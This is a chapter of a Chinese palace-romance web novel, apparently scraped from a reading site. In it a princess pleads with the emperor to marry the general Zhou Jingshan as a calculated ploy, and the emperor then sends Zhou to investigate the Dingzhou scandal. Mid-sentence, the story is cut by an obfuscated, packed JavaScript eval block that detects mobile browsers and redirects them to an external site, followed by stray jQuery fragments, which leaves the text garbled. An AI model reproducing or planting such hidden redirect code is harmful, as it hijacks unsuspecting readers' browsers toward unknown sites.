13. 儿女情长
作品:《檐上雪》 崔遗真一惊,当即便离了床塌。
“臣妾参见陛下。”
她屈膝行礼,姿态恭顺。
杨祯雪掀开被褥,下塌也作礼:“父皇。”
“在父皇面前,何须守这些虚礼。”
皇帝抬手免了二人礼节,笑呵呵地将杨祯雪扶起,他宽厚的手掌覆在她的手背上。
公主的婚事,绝非小儿女之间的情爱那么简单。它牵扯朝堂政局、世家平衡,皇帝一直没找到机会询问杨祯雪的想法,今儿倒是个好时机。
杨祯雪被牵引着坐下,却不提及婚嫁之事,皇帝只好先开口言说。
“朕与你母后平生所愿便是见你觅得良缘。”皇帝口吻平和,带着追忆:“你贵为公主,业已及笄,婚嫁之事自然避无可避。你那几个妹妹,凡是及笄也都嫁了人。朕舍不得你,才一直将你留在身边。可近日朕想了想,若此刻不细细思量你的终身,他日若逢邦交所需,和亲之议,朕纵万般不舍,也怕是再难转圜。”
杨祯雪仰着小脸,凛亮的眼睛里映着他慈爱的眉眼。
“父皇与母后待永安如珠似宝,欲全永安一份美满姻缘。婚嫁论说到底是父母之命,媒妁之言,永安理当遵从。”她端的是一副乖顺的姿态,出口的话却执拗:“然则,永安不愿此生就此潦草托付。若真要论及婚嫁,永安斗胆,想求一份情真意切,一世缘厚情深。”
皇帝伸手拂过她柔软的发顶,眸光温润似水。一道暖流从他深眸中淌出,无声地裹住了她。
他示意她接着说下去。
杨祯雪仿佛攒聚了平生勇气,方得一句:“周径山,是我心仪之人。”
她的声音很轻,很羞涩,却又很坚定。
“周径山。”皇帝低吟这个名字,话语带着审视与权衡:“周家,倒是一门显赫忠良。”
可周径山,是周家的遗孤,对于笼络朝臣并无多大帮助。再者他声名狼藉,领兵作战生死难料,实在不宜托付终身。
“你们总共才见过几面,你对他,了解又有多深?世家子弟,金玉其外者不在少数,何况他常被世人诟病。”
“父皇。”杨祯雪抬起水盈盈的眸子,委屈涌上心头:“民间话本里常说一见倾心,永安从前只当是痴人妄语。可相府火场,他的救助之举,永安并不觉得他是世俗所讲那般不堪之人。每每想起他那日面庞,永安便觉欢喜,心绪也牵动。”
“母后仙去,父皇虽贵为天子,又岂能护佑永安一生。”提及逝去的皇后,她眼中闪过悲凉,语气也低沉:“而周径山武可策马定乾坤,他守疆拓土,杀敌无数,乃是万里挑一的人物。永安相信他能担得起护佑之责。”
皇帝听后目光沉沉,眼里也不再有寻常父亲面对女儿的温情。
他并未立刻应允,亦未断然拒绝。
“永安。”他的声音不高,却彰显出帝王威仪。
杨祯雪强压心神,带着女儿家独有的娇憨,轻轻拽了拽皇帝的衣袖:“父皇,这么多年来,永安心悦之人就这一个。您就成全了永安这份心思,让他做永安的驸马,好不好?”
她撒娇着祈求,如同讨要心爱之物。
皇帝深邃的目光落在她写满希冀的脸上,她的眼眸,盛满了对一个男子的倾慕与执着。
霎时,殿内一片静默。
崔遗真没料到杨祯雪会这般大胆直言,她一时摸不清皇帝心思,不敢上前。
皇帝并未回应杨祯雪的撒娇,他缓缓抽回自己的袖子,动作尽显沉稳。
“永安啊。”他的声音掺杂着作为父亲的无奈:“你只道他武艺高强、万里挑一,那你可知这京城里,有多少双眼睛盯着他?”
他语重心长地告诫:“世家子弟,自出生起便背负着家族兴衰、朝堂风云。他们的每一步,都牵涉着无数人的目光与算计。周径山,他首先是绥远将军,然后才是他自己。”
皇帝的语气渐渐加重:“你母后若在,她那般疼你,或许会为你这份心意动容,但也定会如朕此刻一般,思虑重重。公主的婚事,从来就不是两个人的花前月下。朕不能仅凭你一句心悦,就将你托付出去,让你卷入不必要的漩涡之中。”
“一见钟情,或许有之。然相守一生,靠的却非刹那心动,而是经年累月的了解、磨合与信任。你母后亦是朕一眼便认定了的,可朕登基为帝,她母仪天下,这其中的甘苦,又岂是初见时所能预料的?”
皇帝眸光紧锁住杨祯雪,他看到她眼眸中涌上的水光时,心头也泛起苦涩。
他终究是她的父亲。
自她及笈,皇帝第一次如此认真地打量这个在他羽翼下悄然长大的女儿。
她的眉眼依稀有着皇后的影子,对情爱的执着,也与皇后如出一撤。
她一向是不爱哭的,此刻的她却泪眼婆娑,哪怕皇后在世时也少有见得。
“你说你信他人品贵重。可他杀伐果断,残害兄长,一个刀尖舔血处炼出的修罗,又能有什么慈悲心肠。”皇帝的声音放缓了些:“永安,人心隔肚皮,宫墙外的世界,远比你想的复杂。你看到的,或许只是他想让你看到的冰山一角。他待你恭敬有礼,是臣子本分。他救你之心,是纯臣之心,还是另有所图?这些,离你口中那情真意切,还隔着千山万水。”
杨祯雪自然明白他话中深意。
有多少女儿家为着那一点虚无缥缈的情意,便轻易交托了自己的一生,甚至整个家族的命运。
欢愉时如饮蜜糖,沉沦时万劫不复。这样的赌局,筹码太重。
她杨祯雪,不赌。
她的路,不在儿女情长里。作为公主,自有她的责任和担当。这天下之大,值得倾注心血的东西太多了,何必拘泥于一方小情小爱。
情爱,从来不是她的归途。
杨祯雪想要的,是凭己身之智、己手之力,在这方寸天地,搏一个实实在在的立足之地。
可皇帝天性多疑,她不能向皇帝袒露真正的缘由。在她显露出的精明强干之下,还缺一个瑕疵,一个软肋。她想要明目张胆地追逐权利,就必须让皇帝以为能牢牢掌控住她。
她努力挤出几滴泪来,辩驳道:“名声是世人给的,几分是真,几分是假。有几分锦绣皮囊,有几分赤诚肝胆,是忠是佞,皆在史官工笔之下。说到底,浮名虚誉,全凭世人纷议。然我独信他一颗素心朗朗,皎如月华。”
“朕并非要棒打鸳鸯。”皇帝看着她,眼底复杂难辨:“只是此事非同儿戏。你年纪尚轻,识人未深,朕不能让你凭一时冲动,误了终身。”
他内心挣扎几番,最终妥协道:“此事,容朕思量。朕会着人去细细查访周径山的为人品性。更要看看,他是否值得朕将最珍视的永安托付给他。”
皇帝的目光落在杨祯雪强忍着泪意的脸上,语气又恢复温和,却依旧不容置疑:“在朕没有查清楚,没有想明白之前,永
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770835|174153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安,此事休要再提。”
这是他在帝王身份与慈父心肠之间所能作出的最大让步。
-
数日之后。
皇宫内,几个宫人凑在廊柱的阴影下窃窃私语。
“听说了吗?定州那边,先前为了梅妃娘娘的寿礼,都闹出人命了。”
“嘘。这话也敢说,有几条命够你活的?没看见陛下近几日脸色不对吗?”
“可外头都传遍了。”其中一名宫娥并不服气:“哼,我看呐,红颜祸水,骄奢误国。”
脚步杳杳,这些细碎的议论很快就消失殆尽。
“梅妃娘娘!”两个宫人慌作一团。
梅倚玉只一个眼神,身后跟着的侍从便上前将二人拖走。
“娘娘饶命啊!”
梅倚玉不予理睬,旋身迤逦行去。
金銮殿外,她卸去平日里耀目的华饰,礼冠也端端正正地置于地上。
她长跪殿前请罪。
-
定州的事传得沸沸扬扬,天子案头,亦有一份御状悄然抵达。
皇帝神情凝重,一只手死死压住状纸。
状纸是染血的粗布,里面记的是滔天民怨,亦悲亦诉。
皇帝一抬手,侍立在侧的内监接过状纸,躬身递给了肃立在下方的周径山。
周径山垂首细阅,几行歪歪扭扭的字撞入眼中,字字泣血,句句含悲。
卖儿鬻女、典田当屋。
尽数屠戮、毒杀无辜。
“定州一事,已然沸反盈天。”皇帝的目光如炬:“想必你亦有所耳闻。对此乱局,卿可有何见解?”
“回陛下。”周径山抬首:“臣以为,定州之事,牵涉娘娘清誉,关乎民心向背,干系社稷根基。其中暗藏贪赃枉法、鱼肉百姓之行径,是动摇国本之祸。”
“不错。”皇帝颔首:“定州牵扯甚广,盘根错节,更兼官官相护,结成网罗。卿认为,当如何处置?”
“此等逆臣,上欺天子圣明,下负黎庶厚望,实乃国之蠹虫。当施以雷霆,斩草除根,以儆效尤。方能彰显天威,震慑宵小。”
“吏部,朕信不过。”皇帝的目光扫过他:“周卿,你既言当斩草除根,那朕便着你即刻密赴定州。务必将那定州上下,给朕彻查个水落石出。残害黎民者,无论官居何位,一律严惩不贷。朕要让他们知道,王法昭昭,天威赫赫。”
“臣领旨!”他拱手领命,忽闻皇帝低低的轻笑。只不过笑声并无多大柔情,反倒更多是尽在掌握的从容。
皇帝的身体微微后靠,双目掠过下方长身玉立的身影,半是打量,半是忖度。
“在你看来,永安如何?”
轻飘飘的一句询问,带来无形的威压。
“公主自是极好的。”
“极好?”皇帝显然不满意周径山的答案,他眸光沉沉,紧锁住周径山,欲直探内里。
周径山不再低垂眼眸,而是目光坦荡,直直迎上皇帝审视的目光。
周径山再开口时,字字句句都带着臣子谦卑。
“于臣眼中,她若山巅素雪无瑕,又似观音净瓶青莲,端严不可方物。”
皇帝试探的话语又响起。
“你年岁渐长,功勋卓越,身边却没有个知心人。”皇帝轻晒一声叹息,招手:“罢了罢了。”
“永安感念你相救之恩,此行你去向永安好好道个别吧。”